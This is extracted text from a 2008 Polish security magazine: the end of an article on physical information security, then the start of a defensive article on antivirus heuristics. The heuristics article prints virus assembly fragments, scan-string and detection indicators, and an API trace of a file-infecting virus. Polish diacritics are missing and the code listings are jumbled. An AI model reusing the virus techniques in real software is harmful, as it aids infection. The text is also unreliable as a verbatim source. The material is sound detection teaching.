Zabezpieczajc linie komunikacyjne naley pamita nie tylko o warstwie sieciowej, ale rwnie o ich bezpieczestwie fizycznym. Okablowanie telekomunikacyjne powinno by chronione przed podsuchem lub uszkodzeniem. Jeli tylko jest to moliwe, to naley unika wyznaczania tras kabli biegncych przez obszary publiczne. Jeli nie ma takiej moliwoci, okablowanie powinno zosta poprowadzone pod ziemi. Wszystkie punkty rozdzielcze sieci powinny znajdowa si w zamykanych skrzynkach lub szafach teleinformatycznych umieszczonych w zamykanych pomieszczeniach. Zastosowanie okablowania wiatowodowego w miejsce miedzianego rwnie poprawia bezpieczestwo instalacji, poniewa uniemoliwia niewykrywalne naruszenie cigoci traktu. Oprcz tego poczenie wiatowodowe jest odporne na interferencje sygnau czy uderzenie pioruna. Informacje dotyczce bezpieczestwa urzdze przenonych pozwalajcych na prac poza siedzib firmy oraz pracy zdalnej znajduj si w dalszej czci tekstu. Co jaki czas informowani jestemy przez media o kradziey danych osobowych, znalezieniu poufnych informacji na podwrkowych mietnikach, w kubach na mieci lub nawet na polu. Co gorsza, lekkomylne podejcie do bezpieczestwa dotyczy nie tylko dokumentw papierowych, ale rwnie nonikw komputerowych, ktre mog pomieci jeszcze wicej poufnych informacji. Firmy nie dbaj o wasne bezpieczestwo. Przyczyn jest nie tylko brak odpowiedniej wiedzy i wiadomoci potrzeby zabezpieczenia wszelkich nonikw danych, ale rwnie zaniechanie i niedbalstwo. Naukowcy z wydziau socjologii Uniwersytetu Wrocawskiego, na zlecenie firmy Fellowes Polska, przygotowali raport na temat sposobw obchodzenia si z dokumentami zawierajcymi istotne dane osobowe i firmowe. Przebadano 146 firm, z ktrych 95% odpowiedziao, e: Wikszo z nas niszczy, archiwizuje lub wysya do centrali poufne dokumenty zawierajce istotne dane. Nastpnie spraw-

dzono zawarto kilkuset workw na mieci. Wnioski s co najmniej niepokojce: mimo powszechnej wiadomoci potrzeby stosowania jakichkolwiek procedur chronienia danych i niszczenia zbdnych dokumentw, w 38% przejrzanych workw znaleziono dokumenty, ktre zawieray dane personalne, faktury VAT, rachunki, oferty przetargowe, umowy. Ankietowani pracownicy firm zadeklarowali, e ponad 80% zbdnej dokumentacji zostaje zabezpieczone (nie upublicznione) jest niszczone, archiwizowane, skadowane. Mimo to 44% przeszukanych workw zawierao dokumenty, ktre w 52% przypadkw zawieray moliwe do odczytania dane i poufne informacje. Badania zostay przeprowadzone na stacji przeadunku mieci, gdzie odpady s ju w pewnym stopniu przetworzone. Dotarcie do mieci znajdujcych si jeszcze w mietniku, tu przy biurze firmy, moe istotnie zwikszy prawdopodobiestwo odczytania poufnych informacji. Naley pamita, e najczciej funkcje systemowe usuwajce dane z nonikw nie gwarantuj 100% pewnoci, e danych tych nie da si ponownie odczyta. Dane mog zosta ujawnione przez nieostron sprzeda sprztu lub przekazanie do ponownego uycia. Warto rozway fizyczne niszczenie wszystkich niepotrzebnych ju urzdze przechowujcych wane informacje lub stosowanie programw pozwalajcych na bezpieczne nadpisanie danych (dostpne s wersje dla wszystkich popularnych systemw operacyjnych). Jeli noniki su do przechowywania danych osobowych, to wymg usunicia z nich danych w sposb uniemoliwiajcy ich odzyskanie nakada Rozporzdzenie Ministra Spraw Wewntrznych i Administracji z dnia 29 kwietnia 2004 r. w sprawie dokumentacji przetwarzania danych osobowych oraz warunkw technicznych i organizacyjnych, jakim powinny odpowiada urzdzenia i systemy informatyczne suce do przetwarzania danych osobowych (Dz. U. 2004, nr 100, poz. 1024). Wskazane jest opracowanie procedur zarzdzania wyjmowalnymi nonikami danych. Norma PN-ISO/

IEC 17799 zaleca rozwaenie nastpujcych wytycznych: zaleca si wymazanie poprzedniej zawartoci wszelkich nonikw wielokrotnego uytku, ktre maj by wyniesione z instytucji, o ile nie bdzie ju potrzebna, zaleca si, aby w przypadku wynoszenia jakichkolwiek nonikw z instytucji potrzebne byo upowanienie, a w celu przeprowadzenia pniejszego audytu zaleca si prowadzenie odpowiedniej ewidencji, zaleca si przechowywanie wszystkich nonikw w bezpiecznym miejscu, zgodnie z zaleceniami ich producentw.

Poufne informacje mog zosta ujawnione, zmodyfikowane lub uszkodzone rwnie w trakcie ich fizycznego transportu. Problem, wbrew pozorom, nie jest wydumany i moe przytrafi si nawet najwikszym. W maju 2005 roku Citigroup, najwikszy bank na wiecie, straci dane i histori transakcji 3,9 miliona swoich klientw podczas transportu tam streamera przez firm kuriersk. Pamitajc o ochronie zawartoci przesyek przed uszkodzeniami fizycznymi, przy okazji warto wykorzysta opakowania odporne na manipulacje. Krytyczne dane mog by dzielone na kilka elementw i przesyane przy pomocy rnych firm, rnymi trasami i rodkami transportu. Wymagania te naley dostosowa do wanoci i poufnoci transportowanych informacji. Szczegln uwag naley zwrci na noniki, z ktrych dane naley usuwa w sposb bezpieczny, czyli dokumenty papierowe, nagrania gosowe, wydrukowane raporty, jednorazowe tamy barwice do drukarek, tamy magnetyczne, noniki optyczne (pyty CD i DVD), dyskietki, wydruki programw, dane z testw, dokumentacj systemow. Niszczenie dokumentw, nonikw danych i sprztu mona zleci zewntrznym firmom posiadajcym profesjonalne urzdzenia pozwalajce przeprowadzi niszczenie w sposb bezpieczny. Ochrona dokumentw papierowych i komputerowych nonikw nie rozwizuje w 100% problemu po-

www.hakin9.org

hakin9 Nr 01/2008

55

Obrona

zostaj jeszcze inne formy wymiany informacji, jak komunikacja gosowa, wizyjna lub faksowa. Rozmowa prowadzona w miejscu publicznym moe zosta podsuchana, wiadomoci pozostawione na automatycznej sekretarce odsuchane przez niepowoane osoby, faks przesany przez pomyk do niewaciwej osoby lub odebrany przez osob nie posiadajc odpowiedniego upowanienia. Polityka czystego biurka pomaga zapobiega ujawnieniu lub kradziey informacji. Zdrowy rozsdek nakazuje nie zostawia na wierzchu adnych dokumentw, kiedy na pewien okres czasu tracimy kontrol nad nimi (nawet jeli tylko przechodzimy do innego pokoju). Niepotrzebne w danym momencie dokumenty papierowe i noniki danych (pyty CD, DVD, pendrive'y, tamy) naley bezwzgldnie chowa w zamykanych szafach. Pod adnym pozorem dokumenty i noniki danych nie powinny pozosta niezabezpieczone po zakoczeniu pracy w razie wamania, poaru lub powodzi mogyby dosta si w niepowoane rce lub zosta zniszczone. Punktami, ktre naley szczeglnie kontrolowa, s drukarki sieciowe i kserokopiarki umieszczone bardzo czsto w korytarzach. Pracownicy powinni odbiera dokumenty natychmiast po wykonaniu przez urzdzenie zleconego zadania. Nie powinny pozostawa dostpne ani dla obcych osb, ani dla pracownikw nie posiadajcych stosownych uprawnie. Zasada czystego ekranu jest analogiczna i odnosi si do serwerw, stacji roboczych oraz urzdze przenonych laptopw oraz palmtopw. Kadorazowe odejcie od stanowiska pracy powinno zosta poprzedzone zablokowaniem klawiatury i wczeniem wygaszacza ekranu zabezpieczonego hasem. Oczywicie nie musi to wymaga wykonania akcji ze strony uytkownika moe odbywa si automatycznie, pod warunkiem, e czas aktywacji zabezpieczenia jest wystar-

czajco krtki (naley dopasowa go do klasyfikacji przetwarzanych danych i ryzyka ich utraty). Oglne zasady zwizane z t kwesti przedstawiono poniej: nawet, jeli opuszcza si pokj tylko na chwil, naley go zamkn na klucz lub schowa do zamykanej szafy wszelkie wane dokumenty i noniki danych (pyty CD, DVD, pendrive'y, tamy), po zakoczeniu pracy dokumenty i komputerowe noniki danych powinny by przechowywane w zamykanych, zabezpieczonych i ognioodpornych szafach, na zakoczenie pracy naley zamkn aktywne sesje oraz wyrejestrowa si (wylogowa si) z serwerw, lub te stosowa oprogramowanie blokujce klawiatur i wygaszacz ekranu zabezpieczony hasem.

utrata urzdzenia przenonego: zgubienie lub kradzie (przypadkowa zodziej nie kradnie urzdzenia dla danych, ktre si na nim znajduj, a dla samego urzdzenia lub wiadoma dla zodzieja istotne s dane, ktre znajduj si w pamici urzdzenia). Przenone urzdzenia komputerowe powinny by wyposaone w fizyczne zabezpieczenia przed kradzie.

Do faksw, kserokopiarek i drukarek nie powinny mie dostpu osoby postronne. Jeli jest to moliwe, urzdzenia te powinny by zablokowane poza normalnymi godzinami pracy. Niezwocznie po otrzymaniu, skopiowaniu lub wydrukowaniu dokumentw naley zabra je z podajnika urzdzenia. Korzystanie z urzdze przenonych laptopw, palmtopw, telefonw komrkowych w miejscach publicznych i innych, nie chronionych, miejscach poza siedzib firmy wymaga ostronoci, by nie ujawni osobom nieupowanionym informacji biznesowych. Zagroenia, na ktre naley szczeglnie zwrci uwag: podgldanie przez nieupowanione osoby ekranu urzdzenia lub klawiatury, podsuchanie rozmowy. Rozmowy dotyczce strategicznych spraw dla firmy mog by prowadzone tylko w bezpiecznych, sprawdzonych miejscach. Nie powinny si odbywa w obecnoci osb przypadkowych, w miejscach takich jak prezentacje, targi czy restauracje,

Urzdzenia przenone oraz noniki danych zabierane z siedziby firmy nie powinny by pozostawiane bez nadzoru w miejscach publicznych. Zaleca si przewoenie komputerw przenonych jako bagau podrcznego i, jeli jest to moliwe, maskowanie ich podczas podry (charakterystyczne torby na laptopy nie s najlepszym rozwizaniem). Nie naley pozostawia dokumentw, nonikw danych i sprztu w hotelach ani w samochodzie bez kontroli. Informacje przechowywane na urzdzeniach przenonych lub komputerowych nonikach danych mog ulec uszkodzeniu na przykad w wyniku dziaania silnego pola elektromagnetycznego naley przestrzega zalece producentw dotyczcych ochrony sprztu. Wskazane jest, aby sprzt wykorzystywany poza siedzib firmy by ubezpieczony. Zastosowane rodki bezpieczestwa naley dobra do oszacowanego ryzyka utraty danych wykorzystywanych podczas pracy poza siedzib. Jeszcze innym regulacjom zwizanym z bezpieczestwem powinna podlega, coraz popularniejsza, praca na odlego (telepraca). Pracownik wykonuje swoj prac w pewnym staym miejscu znajdujcym si poza siedzib firmy. Miejsce to powinno by w odpowiedni sposb chronione: zarwno przed kradzie sprztu i informacji, nieuprawnionym ujawnieniem informacji, jak rwnie nieuprawnionym dostpem do wewntrznych systemw instytucji czy niewaciwym wykorzystaniem urzdze.

56

hakin9 Nr 01/2008

www.hakin9.org

Serwery co im zagraa, jak si zabezpieczy

O autorze

Pasj autora s nowe technologie i jzyki programowania. Kontakt z autorem: spinacz24@gmail.com

Norma PN-ISO/IEC 17799 zaleca, aby firma rozwaya stworzenie polityki i okrelia standardy dotyczce kontroli czynnoci wykonywanych w ramach pracy na odlego. Upowanienie pozwalajce na tak prac powinno zosta wydane tylko i wycznie, kiedy zapewniona zostaa waciwa organizacja, wdroono zabezpieczenia oraz zapewniono ich zgodno z polityk bezpieczestwa firmy. Norma zaleca rozwaenie midzy innymi nastpujcych zagadnie: rzeczywiste bezpieczestwo fizyczne miejsca pracy; naley wzi pod uwag zabezpieczenia fizyczne budynku i lokalnego rodowiska, wymagania bezpieczestwa dotyczce cznoci, biorc pod uwag potrzeb zdalnego dostpu do wewntrznych systemw instytucji, wraliwo informacji, ktrej dostp bdzie dotyczy, pomijajc natomiast w rozwaaniach cze R

telekomunikacyjne i wraliwo wewntrznego systemu, zagroenia nieuprawnionego dostpu do informacji lub zasobw ze strony innych osb znajdujcych si w pobliu, na przykad rodziny i przyjaci. Okrelenie zasad i wytycznych dotyczcych dostpu rodziny i goci do urzdze i informacji, okrelenie dozwolonych prac, godzin pracy, klasyfikacji informacji, ktre mog by w posiadaniu pracownika wykonujcego prac na odlego oraz okrelenie wewntrznych systemw, do ktrych ma on uprawniony dostp.

moe by bowiem w czasie gotowoci do pracy, a nie w pracy (patrz Kodeks Pracy). Dodatkowo, jeeli masz may zesp fachowcw, gupio bdzie si tumaczy klientom, e serwer nie dziaa, poniewa administrator jedzie z drugiego koca miasta, aby co zrestartowa. W zwizku z tym warto zawczasu zaopatrzy si przynajmniej w urzdzenie Remote Reset, ktre pozwoli na wykonanie operacji zdalnego restartu maszyny (gdy to jest naprawd koniecznie). KVM pozwoli za na dostp do konsoli i prac np. w trybie awaryjnym przed ponownym wystartowaniem systemu.

Podsumowanie

Urzdzenia zdalnego dostpu KVM i RR to skrt od Keyboard Video Mouse i Remote Reset. S to w skrcie urzdzenia umoliwiajce zdalny dostp do konsoli, pozwalajce na zdalne zarzdzanie komputerem. Istniej rnego rodzaju urzdzenia od wdzwanianych telefonicznie po urzdzenia IP. Komu, kto nie ma pojcia, jak wyglda praca administratora, moe si wydawa, e takie urzdzenie to luksus, poniewa admin zawsze moe podej do komputera. Problem zaczyna si jednak w nocy. Takie urzdzenie zwiksza komfort i daje realne korzyci. Administrator E K L A M

Artyku zosta oparty na wytycznych przedstawionych w normie PN-ISO/IEC 17799:2003 Technika informatyczna. Praktyczne zasady zarzdzania bezpieczestwem informacji. Zachcam do zapoznania si z norm wydan przez Polski Komitet Normalizacyjny i samodzielnego opracowania polityki bezpieczestwa uwzgldniajcej warunki zapewnienia bezpieczestwa fizycznego i rodowiskowego. W kadej chwili mona skorzysta rwnie z usug firm specjalizujcych si w zarzdzaniu bezpieczestwem informacji. l A

Heurystyka w programach antywirusowych


Obrona
Jakub Dbski

stopie trudnoci

Istniej dwie gwne metody wykrywania zoliwego oprogramowania oparte na wzorcach zagroe i na analizie heurystycznej. Pierwszy typ zapewnia stuprocentow wykrywalno zagroe, ktre s znane, jednak wymaga cigej aktualizacji baz sygnatur.

est to obecnie najpopularniejsza metoda detekcji, cho ma istotn wad, mianowicie jest metod reakcyjn. Poniewa Internet umoliwia byskawiczne rozprzestrzenianie si niebezpieczestwa, jest ona czsto niewystarczajca. Metoda oparta na wzorcach zagroe charakteryzuje si niebezpieczn luk w czasie pomidzy pojawieniem si zagroenia a udostpnieniem wzorca je wykrywajcego. Wzorzec jest przygotowywany przez specjalistw z firm antywirusowych, ktrzy musz otrzyma now prbk, nastpnie przeanalizowa j i przygotowa sygnatur, ktra bdzie zagroenie w sposb jednoznaczny identyfikowa, nie powodujc przy tym faszywych alarmw (Rysunek 1.). Alternatyw dla rcznego wybierania wzorcw jest wykorzystanie automatycznie generowanych sum kontrolnych, ale s one wraliwe nawet na drobne modyfikacje i stosowanie ich szybko prowadzi do nadmiernego rozrostu baz. Rozwizaniem tego problemu s zdobywajce coraz wiksz popularno mechanizmy prewencyjne oparte na klasyfikacji heurystycznej. Heurystyka (gr. heurisko znale) to umiejtno odkrywania nowych faktw

i zwizkw pomidzy faktami poprzez umiejtne postawienie hipotez. Algorytmy heurystyczne na podstawie wiedzy o cechach istniejcych niebezpieczestw s w stanie przeanalizowa skanowany obiekt i stwierdzi, czy mona go zaklasyfikowa jako niebezpieczny.

Uoglnione wzorce

Metody wykrywania nieznanych wirusw byy implementowane w programach antywirusowych od pocztku ich istnienia. Najprost-

Z artykuu dowiesz si
czym jest heurystyka w programach antywirusowych, jakie s rodzaje wykorzystywanych heurystyk, przed jakimi problemami stoj twrcy heurystyk.

Co powiniene wiedzie

powiniene zna podstawy asemblera, powiniene mie oglne pojcie o budowie systemw operacyjnych, powiniene zna terminologi zwizan z niebezpiecznym oprogramowaniem.

58

hakin9 Nr 01/2008

www.hakin9.org

Heurystyka w programach antywirusowych

sz metod rozpoznawania nowych wersji wirusw s uoglnione wzorce. Wzorzec (scan-string, pattern) jest cigiem bajtw wyekstrahowanym z wirusa, ktry w sposb jednoznaczny go identyfikuje. Majc wzorzec wirusa moemy zastosowa jeden z licznych algorytmw dopasowujcych, w celu znalezienia go w badanym pliku. Wzorzec musi spenia kilka wymaga, aby mona go byo zastosowa do identyfikacji zagroenia: powinien by fragmentem charakterystycznym dla wirusa (nie moe wystpowa w czystych plikach), nie moe by zbyt krtki (mgby powodowa faszywe alarmy), nie moe by zbyt dugi (dopasowanie go byoby dugotrwae, a zajto pamici znaczna przy licznej bazie zagroe).

Listing 1. Fragment wirusa asemblerowego nadajcy si na wzorzec


8BBDAA174000 8B7778 03B59E174000 8B7E0C 813F4B45524E 0F857C000000 mov mov edi,[ebp][004017AA] esi,[edi][78] esi,[ebp][0040179E] edi,[ebp][0040179E]

add

mov edi,[esi][0C]03BD9E174000 add cmp d,[edi],04E52454B ;"NREK" jne .001013F35

Przyjrzyjmy si fragmentowi wirusa asemblerowego, ktry spenia wymagania wzorca (Listing 1). Powyszy fragment jest charakterystyczny, poniewa poszukuje pod wyliczanym adresem sowa KERN, co nie powinno wystpi w pliku czystym. Po lewej stronie znajduj si bajty reprezentujce instrukcje, ktrych cig moe stanowi wzorzec sucy do wykrycia wirusa. Poniewa wirus ten uzyskuje dostp do wasnych danych technik delta offset (tu wzgldem reje

stru ebp), w innych wersjach wirusa, po wprowadzeniu do niego niewielkiej zmiany, adresy mog si zmieni. Aby uoglni ten wzorzec na inne wersje, moemy zastpi cz bajtw znakiem zastpczym odpowiadajcym podczas dopasowywania za dowolny bajt (Listing 2). W ostatniej linii mamy skok warunkowy, ktrego adres docelowy jest offsetem wzgldem aktualnej instrukcji. Po dodaniu do wirusa dodatkowych rozkazw offset ten moe si zmieni, wic w miejsce tych bajtw moemy wstawi znaki zastpcze lub cakiem je wyci, poniewa znajduj si na kocu scan-stringa. Dziki powyszym zabiegom scanstring bdzie potrafi wykry zarwno nowe wersje tego wirusa, jak te wszystkie wirusy, ktre zawieraj opisany wzorzec. Poniewa autorzy niebezpiecznych programw czsto wykorzystuj fragmenty istniejcego zoliwego kodu, moliwe jest wybranie wzorca wychwytujcego zupenie nowe zagroenia. Zbytnie skracanie i uoglnianie scan-stringw moe powodowa faszywe alarmy. Rozwizaniem

tego problemu jest stosowanie kilku krtkich wzorcw, ktre musz znajdowa si w badanym pliku, aby stwierdzi obecno wirusa. Od tego podejcia ju tylko krok do heurystyki statycznej, czyli najpopularniejszej metody heurystycznego wykrywania wirusw.

Heurystyka

Heurystyk w programach antywirusowych mona podzieli na kilka kategorii w zalenoci od sposobu dziaania. Najczstszym spotykanym podziaem jest wyszczeglnienie heurystyki statycznej i dynamicznej. Do metod heurystycznych zalicza si rwnie analiz behawioraln oraz sprawdzanie integralnoci. Przypatrzmy si poszczeglnym typom i przeanalizujmy ich wady i zalety.

Heurystyka statyczna

Rysunek 1. Wykrywanie reakcyjne (Reactive) kontra heurystyczne (Proactive)

Heurystyka statyczna opiera si na analizie obiektu w postaci, w jakiej zostanie on przekazany do analizy; na traktowaniu obiektu jako cigu bajtw. Analiza taka bazuje na dyskryminatorach zebranych z istniejcych niebezpiecznych programw, czyli na cechach odrniajcych niebezpieczne programy od czystych plikw. Aby analizowany obiekt zosta uznany za podejrzany, musi zawiera okrelon liczb dyskryminatorw. Dyskryminatory najczciej s cigami bajtw, ale mog by zwizane np. z nietypowym wygldem pliku wykonywalnego. Rozpatrzmy przykad wykrywania typowego, napisanego w asemblerze wirusa za pomoc heurystyki statycznej. Typowy wirus infekuje plik wykonywalny poprzez doczenie do niego swojego kodu, nastpnie przeszukuje dysk w celu znale-

www.hakin9.org

hakin9 Nr 01/2008

59

Obrona

zienia innych plikw podatnych na infekcj. Aby wykry wirusa przy uyciu heurystyki statycznej, musimy zgromadzi kolekcj mikrowzorcw, ktrych wystpowanie bdzie wiadczyo o podejrzanym dziaaniu. Stworzenie uytecznej bazy mikrowzorcw wymaga wiedzy na temat zasady dziaania wirusw i technik w nich stosowanych. Mikrowzorcem moe by przykadowo pobranie offsetu delta, ktre mona znale w wikszoci wirusw plikowych. Offset delta pobierany jest przez wirusa w celu ustalenia adresu pocztku samego siebie. Jest on wirusowi potrzebny, jeeli chce w prosty sposb korzysta z danych, ktre s zawarte w obszarze wirusa. Popularn metod ustalenia offsetu delta jest sekwencja rozkazw:
E800000000 5D ED call pop sub $+5 ebp ebp, ????????

Listing 2. Istotne informacje z fragmentu wirusa asemblerowego


8BBD???????? 8B7778 03B5???????? 8B7E0C 03BD???????? 813F4B45524E 0F85 mov mov add mov add cmp jne edi,[ebp][????????] esi,[edi][78] esi,[ebp][????????] edi,[esi][0C] edi,[ebp][????????] d,[edi],04E52454B ;"NREK" ????????

co przekada si na mikrowzorzec E8000000005DED. Wystpowanie tego mikrowzorca moe sugerowa, e cig bajtw jest kodem, ktry zosta dopisany do pliku wykonywalnego. Innym przykadem mikrowzorca moe by sprawdzanie formatu pliku PE32 przed infekcj lub podczas poszukiwania w pamici adresw funkcji API, za pomoc porwna z charakterystycznymi oznaczeniami MZ i PE.

Jego adres znajduje si pod offsetem 3C wzgldem MZ (Listing 3). W tym przykadzie za uoglniony scan-string moe suy cig bajtw 4D5A75*8B*3C*504575, gdzie * to 1-10 dowolnych znakw. Innymi mikrowzorcami infektorw plikw mog by nazwy funkcji API pojawiajce si nie w sekcji importw, teksty *.exe, *.*, bdce specyfikacj dla wyszu kiwania plikw do zaraenia lub wartoci CRC32 policzone z nazw API (wiele wirusw, szczeglnie wzorowanych na napisanych przez grup 29A, korzystao z procedury wyszukiwania adresw API bazujcej na sumie kontrolnej nazwy). W przypadku zoliwych programw pisanych w jzykach wysokiego poziomu podejrzane moe by wystpowanie tekstw okrelajcych klucze rejestru odpowiedzialne za autostart aplikacji w systemie (np. SOFTWARE\ Microsoft\Windows\ CurrentVersion\Run), fragmenty, z ktrych skadane s maile (np. MAIL FROM:) czy adresy blokowanych stron WWW (np. windowsupdate.microsoft.com). Wykrywanie heu-

rystyczne niebezpiecznego oprogramowania tworzonego w jzykach wysokiego poziomu jest jednak znacznie bardziej skomplikowane ni wykrycie kodu asemblerowego. W celu zwikszenia jakoci klasyfikacji przy uyciu heurystyki statycznej mona poczy mikrowzorce z nietypowym wygldem pliku spowodowanym modyfikacjami przeprowadzonymi podczas infekcji. Przykadowo za nietypowe mona uzna sytuacje, gdy: punkt wejcia do programu (EntryPoint) wskazuje na ostatni sekcj, ktra nie jest sekcj kodu (wirus dopisa si do ostatniej sekcji), entryPoint wskazuje na wntrze nagwka pliku PE (mae wirusy platform Win9x umieszczay si w nagwku pliku), sekcja kodu posiada oprcz atrybutu wykonywalne, take odczyt i zapis (czste w przypadku wirusw polimorficznych), sekcja relokacji lub sekcja zasobw jest wiksza, ni by powinna.

Rysunek 2. Epidemia robaka Bagle.AS. (rdo: www.virus-radar.com)

Utrudnieniem techniki wykrywania wirusw wedug nietypowego wygldu stay si popularne ostatnio kompresory (np. UPX) i protektory (np. Asprotect) plikw wykonywalnych, ktre wprowadzaj typowe dla wirusw modyfikacje. Moliwe jest zidentyfikowanie protektora i zignorowanie go przy tego typu detekcji, ale szczeglnie w przypadku protektorw o otwartych rdach protektory s czsto modyfikowane i zidentyfikowanie wszystkich ich wersji jest kopotliwe. Z drugiej strony samo wystpowanie zabezpieczenia w pliku stanowi pierwsz oznak, e autor programu ma co do ukrycia i jest to podejrzane.

60

hakin9 Nr 01/2008

www.hakin9.org

Heurystyka w programach antywirusowych

Zalet heurystyki statycznej jest dua szybko dziaania tym wiksza, e analizowane obszary zwykle nie s due i mona w caoci wczyta je do pamici. Jej wad jest ograniczone pole analizy umoliwiajce wykrycie jedynie tych zagroe, ktre posiadaj czsto wystpujce cechy. Heurystyka taka potrafi przeanalizowa jedynie kod, ktry nie jest zaszyfrowany, ale po uzyskaniu postaci zdeszyfrowanej (np. za pomoc emulacji) mona j przekaza ponownie do skanowania przy uyciu heurystyki statycznej. Po znalezieniu w analizowanym obiekcie wystarczajcej liczby charakterystycznych cech moemy stwierdzi, e obiekt jest niebezpieczny. Heurystyka statyczna dla innych rodzajw wirusw, na przykad skryptowych lub makrowirusw, tworzona jest w sposb analogiczny.

Listing 3. Fragment wirusa infekujcego pliki. Sprawdzenie nagwka pliku


66813A4D5A 75F8 8BCA 8B493C 03CA 3BC8 7FED 6681395045 75E6 cmp jne mov mov add cmp jg cmp jne w,[edx],05A4D ;"ZM" .00040106E ecx,edx ecx,[ecx][3C] ecx,edx ecx,eax .00040106E w,[ecx],04550 ;"EP" .00040106E

Heurystyka dynamiczna

Heurystyk dynamiczn nazywa si analiz przeprowadzan podczas dziaania podejrzanego programu, dziki czemu moliwe jest poznanie zachowania obiektu lub uzyskanie postaci obiektu dajcej wicej informacji. Zwykle tak analiz przeprowadza si podczas uruchomienia podejrzanego programu w rodowisku bezpiecznym, za pomoc emulatora procesora i systemu operacyjnego. rodowi-

sko takie nazywane jest piaskownic (ang. sandbox). Program w niej uruchomiony niczym dziecko znajdujce si w piaskownicy nie moe popsu niczego, co znajduje si poza ni, a jego dziaania mona obserwowa i analizowa. Do heurystyki dynamicznej mona zaliczy rwnie analiz behawioraln przeprowadzan na dziaajcym systemie, o ktrej wicej bdzie w dalszej czci tekstu. Emulatory w programach antywirusowych pocztkowo tworzone byy w celu odszyfrowania czci zaszyfrowanej wirusw polimorficznych. Wykonyway polimorficzny kod wirusa do czasu, a zakoczy on deszyfracj, co najczciej wizao si z wywoaniem funkcji systemowej. Nastpnie rozszerzono ich funkcjonalno o moliwo analizy behawioralnej, wic wywoanie funkcji systemowej nie koczy

Rysunek 3. Fragmenty dwch wersji robaka Agobot

dziaania, ale jest rwnie emulowane zgodnie z zachowaniem rzeczywistego systemu operacyjnego. Wykonujc program w bezpiecznym rodowisku mona sprawdzi, jakie akcje prbuje on podj i stwierdzi w ten sposb, czy stanowi potencjalne zagroenie. Innymi podejrzanymi zachowaniami, ktre moe wykry heurystyka dynamiczna, s na przykad: liniowa modyfikacja obszaru pamici, a potem skok w zmodyfikowany obszar (deszyfracja, czsto stosowana w wirusach polimorficznych), wykonywanie pustych ptli, ktre nie modyfikuj stanu rejestrw procesora ani pamici (sztuczka utrudniajca analiz programu i spowalniajca emulacj), czy wykonywanie kodu w obszarze stosu. Wszystkie te cechy wiadcz o tym, e wykonywany program nie jest programem normalnym. Wrd twrcw wirusw istnieje przekonanie, e skomplikowanie kodu polimorficznego utrudnia znalezienie wirusa w pliku. Nic bardziej mylnego. Sam kod polimorficzny i metamorficzny jest relatywnie prosty do wykrycia, gdy jest cakowicie rny od kodu wygenerowanego przez kompilator, a nawet od kodu asemblerowego stworzonego przez czowieka. Generatory polimorficzne tworz znaczn liczb instrukcji lub zestaww instrukcji nic nierobicych, tzw. mieci. Kod ten, cakowicie niezoptymalizowany, daje si za pomoc mniej lub bardziej skomplikowanych metod zidentyfikowa i potraktowa jako podejrzane zachowanie. Poniewa protektory plikw wykonywalnych rwnie zawieraj polimor-

www.hakin9.org

hakin9 Nr 01/2008

61

Obrona

ficzne deszyfratory, ich nowe wersje mog by faszywie identyfikowane powyszymi metodami. Stosowanie emulacji w procesie analizy ma kilka istotnych minusw. Gwn wad jest relatywnie niewielka szybko dziaania samego emulatora, a dodatkowe sprawdzenia wykonywane podczas analizy heurystycznej jeszcze emulacj spowalniaj. Due znaczenie dla szybkoci dziaania ma te problem stopu, czyli stwierdzenie, kiedy emulacja powinna si zakoczy. Cho powstao wiele metod przyspieszajcych dziaanie emulatorw i wci powstaj nowe (np. wykorzystanie wirtualizacji procesorw), istnieje kilka barier nie do pokonania. Najtrudniejsz z nich jest niedeterministyczno wykonywania kodu. Dla niebezpiecznego programu nie jest problemem, jeeli zadziaa raz na kilka uruchomie. Moe by to spowodowane wywoaniem funkcji zwracajcej losow warto lub warunkami logicznymi, ktre rodowisko musi speni. Emulator dziaajcy w sposb deterministyczny nie jest w stanie obsuy tych sytuacji, poniewa emulacja poda jedn ciek, nie badajc wszystkich moliwych rozgazie kodu. Zatem emulator moe pj ciek, ktra koczy dziaanie niebezpiecznego programu, przez co nie bdzie mona stwierdzi podejrzanego zachowania. Autorzy niebezpiecznego oprogramowania staraj si rwnie

wykrywa uruchomienie w sztucznym rodowisku i reagowa na nie, ukrywajc swoj obecno. Innym przykadem niedeterministycznoci moe by odmienne dziaanie programu w rnych wersjach systemu operacyjnego. Przed twrc emulatora pozostaje problem wyboru, ktr wersj emulowa.

Analiza behawioralna

Kady proces dziaajcy w trybie uytkownika musi komunikowa si z systemem operacyjnym za pomoc udostpnionego interfejsu API. W trybie tym pracuj wszystkie standardowe aplikacje, w tym wikszo niebezpiecznych programw, poniewa nie musz do dziaania uzyskiwa nadzwyczajnych uprawnie w systemie. Monitorujc wywoania funkcji systemowych jestemy w stanie uzyska dokadne informacje na temat zachowania analizowanego programu. Monitorowanie moe odbywa si albo podczas emulacji w rodowisku bezpiecznym, albo w dziaajcym systemie. Monitorowanie dziaajcego systemu, mimo jego spowolnienia, zyskuje coraz wiksz popularno, poniewa jest w stanie wykry zagroenia, ktrym emulacja nie jest w stanie sprosta. Zalet analizy behawioralnej jest przeniesienie klasyfikacji na znacznie wyszy poziom abstrakcji. Nie operujemy w tym przypadku na pojedynczych instrukcjach kodu maszynowego, ale w domenie opisanej

Listing 4. Pocztek logu programu TraceApi na wirusie Win32.Miam


GetProcAddress(77e60000,GetModuleHandleA) GetProcAddress(77e60000,GetCurrentDirectoryA) GetProcAddress(77e60000,FindFirstFileA) GetProcAddress(77e60000,FindNextFileA) GetProcAddress(77e60000,CreateFileA) GetProcAddress(77e60000,GetFileSize) GetProcAddress(77e60000,LocalAlloc) GetProcAddress(77e60000,ReadFile) GetProcAddress(77e60000,SetFilePointer) GetProcAddress(77e60000,WriteFile) GetProcAddress(77e60000,CloseHandle) GetProcAddress(77e60000,LocalFree) GetProcAddress(77e60000,GetLocalTime) GetProcAddress(77e60000,SetCurrentDirectoryA) GetProcAddress(77e60000,GetWindowsDirectoryA) GetProcAddress(77e60000,GetSystemDirectoryA) GetModuleHandleA(User32.dll)

